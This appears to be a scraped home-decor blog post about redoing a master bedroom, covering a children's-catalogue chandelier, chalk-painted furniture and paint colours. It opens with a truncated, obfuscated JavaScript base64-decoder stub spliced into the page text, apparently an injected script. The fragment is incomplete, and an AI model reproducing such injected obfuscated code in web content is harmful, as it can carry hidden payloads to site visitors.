function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;/" rel="bookmark">…master bedroom redux…lighting and littles

My secret to great lighting at a lower cost is to go to the kid’s department. I feel like all the big retail shops have child and teen departments that are getting better and better by the year. If you get these catalogues in your mail and toss them, then I would challenge you to refrain and take a look. I always troll the home decor websites and these departments are real contenders for the good-looking stuff.

I ended up getting the light fixture for my master bedroom from Restoration Hardware Baby and Child. This is the second chandelier I’ve purchased for an adult space from them. Here is the one I chose:

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It’s wood and white washed. Here is a look at what I had previously along with another look at the carpet that was in this space. I heart a crystal chandelier, but this one was not working for me anymore. I wanted something a bit rougher and larger.

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And here is a look at the new one in black and white.

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I also wanted to show you a few other small items that I worked on before I show you the full room. I went a bit monochromatic with my white, but also left the bits of gray.

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I definitely edited the “stuff” that I had in here because I didn’t want the distraction from a sense of calm. I left the books, small statues, clock, a few small wall decor items and pillows. Life is chaos outside those bedroom doors!

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Thank you to my sweet and thoughtful friends at Arlington Magazine for their mention of Blue Egg Brown Nest in their “Best of Arlington Issue” out this month. I am super humbled by the kind words.

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Here is a look below:

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…Blue Egg Brown Nest Home Colors: Master Bedroom

I wanted something bright/light in my master. I “like” it, but if I’m being completely truthful, I wish it was a few shades more muted. It gives the warmth that I want, however.

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Again, it allows me to layer whatever I want into the room without being constricted by the wall color. I’ve chosen cottage-y whites.

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Here is the amoire I finally found and painted it to match. Love that chalk paint allows you to transform a piece to YOUR space! Love my Annie Sloan Old White.

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A vintage doll? No, just my Fiona.

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It’s a no toy zone as you’ve heard me say before and my serene oasis from just about everything.

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(Arlington Magazine)

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BLUE EGG BROWN NEST MASTER BEDROOM COLOR: BENJAMIN MOORE BARELY BEIGE

Good luck to all of us during Spring Break next week!